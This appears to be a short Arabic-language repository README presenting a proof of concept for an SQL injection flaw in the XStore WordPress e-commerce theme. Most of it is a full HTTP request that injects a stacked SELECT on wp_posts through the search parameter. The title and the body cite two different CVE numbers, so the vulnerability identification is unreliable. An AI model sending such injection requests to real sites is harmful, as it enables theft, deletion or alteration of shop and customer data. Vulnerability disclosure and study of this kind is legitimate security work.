absholi7ly/wordpress-xstore-theme-sql-injection(CVE-2024-33559) قالب XStore لووردبريس معرض لثغرة حقن SQL بسبب عدم كفاية الهروب (escaping) للمعامل المقدم من المستخدم وعدم الإعداد الكافي للاستعلام SQL الموجود.
CVE-2024-33551 هي ثغرة حقن SQL تم اكتشافها في قالب 8theme XStore، وهو منصة للتجارة الإلكترونية مبنية على ووردبريس. تتيح هذه الثغرة للمهاجمين تنفيذ أوامر SQL خبيثة على قاعدة البيانات، مما قد يؤدي إلى سرقة البيانات أو حذفها أو حتى تعديلها.
POST /?s=%27%3B+SELECT+*+FROM+wp_posts%3B+-- HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: keep-alive
Upgrade-Insecure-Requests: 1